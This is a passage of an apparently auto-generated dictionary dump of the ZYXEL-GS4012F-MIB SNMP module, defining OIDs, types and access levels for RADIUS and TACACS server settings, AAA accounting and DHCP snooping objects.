}, # column
"radiusAuthServerSharedSecret" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.43.1.3.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"radiusAcctServerSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.43.2",
}, # node
"radiusAcctServerTimeout" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.43.2.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"radiusAcctServerTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.43.2.2",
"status" : "current",
"description" :
"""""",
}, # table
"radiusAcctServerEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.43.2.2.1",
"status" : "current",
"linkage" : [
"radiusAcctServerIndex",
],
"description" :
"""An entry in radiusAcctServerTable.""",
}, # row
"radiusAcctServerIndex" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.43.2.2.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "noaccess",
"description" :
"""""",
}, # column
"radiusAcctServerIpAddr" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.43.2.2.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"radiusAcctServerUdpPort" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.43.2.2.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"radiusAcctServerSharedSecret" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.43.2.2.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"tacacsServerSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.44",
}, # node
"tacacsAuthServerSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.44.1",
}, # node
"tacacsAuthServerTimeout" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.44.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"tacacsAuthServerTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.44.1.3",
"status" : "current",
"description" :
"""""",
}, # table
"tacacsAuthServerEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.44.1.3.1",
"status" : "current",
"linkage" : [
"tacacsAuthServerIndex",
],
"description" :
"""An entry in tacacsAuthServerTable.""",
}, # row
"tacacsAuthServerIndex" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.44.1.3.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "noaccess",
"description" :
"""""",
}, # column
"tacacsAuthServerIpAddr" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.44.1.3.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"tacacsAuthServerTcpPort" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.44.1.3.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"tacacsAuthServerSharedSecret" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.44.1.3.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"tacacsAcctServerSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.44.2",
}, # node
"tacacsAcctServerTimeout" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.44.2.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"tacacsAcctServerTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.44.2.2",
"status" : "current",
"description" :
"""""",
}, # table
"tacacsAcctServerEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.44.2.2.1",
"status" : "current",
"linkage" : [
"tacacsAcctServerIndex",
],
"description" :
"""An entry in tacacsAcctServerTable.""",
}, # row
"tacacsAcctServerIndex" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.44.2.2.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "noaccess",
"description" :
"""""",
}, # column
"tacacsAcctServerIpAddr" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.44.2.2.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"tacacsAcctServerTcpPort" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.44.2.2.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"tacacsAcctServerSharedSecret" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.44.2.2.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"aaaSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.45",
}, # node
"authenticationSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.45.1",
}, # node
"authenticationTypeTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.45.1.1",
"status" : "current",
"description" :
"""""",
}, # table
"authenticationTypeEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.45.1.1.1",
"status" : "current",
"linkage" : [
"authenticationTypeName",
],
"description" :
"""An entry in authenticationTypeTable.""",
}, # row
"authenticationTypeName" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.45.1.1.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"authenticationTypeMethodList" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.45.1.1.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "OctetString"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"accountingSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.45.2",
}, # node
"accountingUpdatePeriod" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.45.2.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"accountingTypeTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.45.2.2",
"status" : "current",
"description" :
"""""",
}, # table
"accountingTypeEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.45.2.2.1",
"status" : "current",
"linkage" : [
"accountingTypeName",
],
"description" :
"""An entry in accountingTypeTable.""",
}, # row
"accountingTypeName" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.45.2.2.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"accountingTypeActive" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.45.2.2.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"accountingTypeBroadcast" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.45.2.2.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"accountingTypeMode" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.45.2.2.1.4",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"start-stop" : {
"nodetype" : "namednumber",
"number" : "1"
},
"stop-only" : {
"nodetype" : "namednumber",
"number" : "2"
},
"not-available" : {
"nodetype" : "namednumber",
"number" : "255"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"accountingTypeMethod" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.45.2.2.1.5",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"radius" : {
"nodetype" : "namednumber",
"number" : "1"
},
"tacacs" : {
"nodetype" : "namednumber",
"number" : "2"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"accountingTypePrivilege" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.45.2.2.1.6",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"privilege-0" : {
"nodetype" : "namednumber",
"number" : "0"
},
"privilege-1" : {
"nodetype" : "namednumber",
"number" : "1"
},
"privilege-2" : {
"nodetype" : "namednumber",
"number" : "2"
},
"privilege-3" : {
"nodetype" : "namednumber",
"number" : "3"
},
"privilege-4" : {
"nodetype" : "namednumber",
"number" : "4"
},
"privilege-5" : {
"nodetype" : "namednumber",
"number" : "5"
},
"privilege-6" : {
"nodetype" : "namednumber",
"number" : "6"
},
"privilege-7" : {
"nodetype" : "namednumber",
"number" : "7"
},
"privilege-8" : {
"nodetype" : "namednumber",
"number" : "8"
},
"privilege-9" : {
"nodetype" : "namednumber",
"number" : "9"
},
"privilege-10" : {
"nodetype" : "namednumber",
"number" : "10"
},
"privilege-11" : {
"nodetype" : "namednumber",
"number" : "11"
},
"privilege-12" : {
"nodetype" : "namednumber",
"number" : "12"
},
"privilege-13" : {
"nodetype" : "namednumber",
"number" : "13"
},
"privilege-14" : {
"nodetype" : "namednumber",
"number" : "14"
},
"not-available" : {
"nodetype" : "namednumber",
"number" : "255"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"dhcpSnp" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100",
}, # node
"dhcpSnpVlanTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.1",
"status" : "current",
"description" :
"""""",
}, # table
"dhcpSnpVlanEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.1.1",
"status" : "current",
"linkage" : [
"dhcpSnpVlanEntryVid",
],
"description" :
"""""",
}, # row
"dhcpSnpVlanEntryVid" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.1.1.1",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"ranges" : [
{
"min" : "1",
"max" : "4094"
},
],
"range" : {
"min" : "1",
"max" : "4094"
},
},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"dhcpSnpVlanEntryEnable" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.1.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"dhcpSnpVlanEntryOption82Enable" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.1.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"dhcpSnpVlanEntryInfo" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.1.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"dhcpSnpPortTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.2",
"status" : "current",
"description" :
"""""",
}, # table
"dhcpSnpPortEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.2.1",
"status" : "current",
"linkage" : [
"dhcpSnpPortEntryPort",
],
"description" :
"""""",
}, # row
"dhcpSnpPortEntryPort" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.2.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"dhcpSnpPortEntryTrust" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.2.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"dhcpSnpPortEntryRate" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.2.1.3",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"ranges" : [
{
"min" : "0",
"max" : "2048"
},
],
"range" : {
"min" : "0",
"max" : "2048"
},
},
},
"access" : "readwrite",
"description" :
"""0 means unlimited""",
}, # column
"dhcpSnpBindTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.3",
"status" : "current",
"description" :
"""""",
}, # table
"dhcpSnpBindEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.3.1",
"status" : "current",
"linkage" : [
"dhcpSnpBindEntryMac",
"dhcpSnpBindEntryVid",
],
"description" :
"""""",
}, # row
"dhcpSnpBindEntryMac" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.3.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-TC", "name" : "MacAddress"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"dhcpSnpBindEntryVid" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.3.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"dhcpSnpBindEntryIP" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.3.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"dhcpSnpBindEntryLease" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.3.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"dhcpSnpBindEntryType" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.3.1.5",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"dynamic" : {
"nodetype" : "namednumber",
"number" : "2"
},
},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"dhcpSnpBindEntryPort" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.3.1.6",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"dhcpSnpEnable" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"dhcpSnpDb" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.5",
}, # node
"dhcpSnpDbAbort" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.5.1",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"ranges" : [
{
"min" : "1",
"max" : "65535"
},
],
"range" : {
"min" : "1",
"max" : "65535"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"dhcpSnpDbWriteDelay" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.5.2",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"ranges" : [
{
"min" : "1",
"max" : "65535"
},
],
"range" : {
"min" : "1",
"max" : "65535"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"dhcpSnpDbUrl" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.5.3",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "OctetString",
"parent module" : {
"name" : "RFC1213-MIB",
"type" : "DisplayString",
},
"ranges" : [
{
"min" : "0",
"max" : "255"
},
],
"range" : {
"min" : "0",
"max" : "255"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"dhcpSnpDbUrlRenew" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.5.4",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "OctetString",
"parent module" : {
"name" : "RFC1213-MIB",
"type" : "DisplayString",
},
"ranges" : [
{
"min" : "0",
"max" : "255"
},
],
"range" : {
"min" : "0",
"max" : "255"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"dhcpSnpDbStat" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.5.5",
}, # node
"dhcpSnpDbStatClear" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.5.5.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"dhcpSnpDbStatDelayExpiry" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.5.5.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # scalar
"dhcpSnpDbStatAbortExpiry" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.5.5.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # scalar
"dhcpSnpDbStatLastSuccTime" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.5.5.5",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""""",
}, # scalar
"dhcpSnpDbStatLastFailTime" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.5.5.6",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""""",
}, # scalar
"dhcpSnpDbStatLastFailReason" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.5.5.7",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""""",
}, # scalar
"dhcpSnpDbStatTotalAttempt" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.5.5.8",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # scalar
"dhcpSnpDbStatStartupFail" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.5.5.9",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # scalar
"dhcpSnpDbStatSuccTrans" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.5.5.10",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # scalar
"dhcpSnpDbStatFailTrans" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.5.5.11",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # scalar
"dhcpSnpDbStatSuccRead" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.5.5.12",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # scalar
"dhcpSnpDbStatFailRead" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.5.5.13",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # scalar
"dhcpSnpDbStatSuccWrite" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.5.5.14",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # scalar
"dhcpSnpDbStatFailWrite" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.5.5.15",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # scalar
"dhcpSnpDbStatLastIgnoreBindCol" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.5.5.17",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""Last ignored: binding collision""",
}, # scalar
"dhcpSnpDbStatLastIgnoreExpireLease" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.5.5.18",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""Last ignored: expired leases""",
}, # scalar
"dhcpSnpDbStatLastIgnoreInvalidIntf" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.5.5.19",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""Last ignored: invalid interface""",
}, # scalar
"dhcpSnpDbStatLastIgnoreUnsuppVlan" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.5.5.20",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""Last ignored: unsupported vlans""",
}, # scalar
"dhcpSnpDbStatLastIgnoreParse" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.5.5.21",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""Last ignored: parsing error""",
}, # scalar
"dhcpSnpDbStatTotalIgnoreBindCol" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.5.5.22",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""Total ignored: binding collision""",
}, # scalar
"dhcpSnpDbStatTotalIgnoreExpireLease" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.5.5.23",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""Total ignored: expired leases""",
}, # scalar
"dhcpSnpDbStatTotalIgnoreInvalidIntf" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.100.5.5.24",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
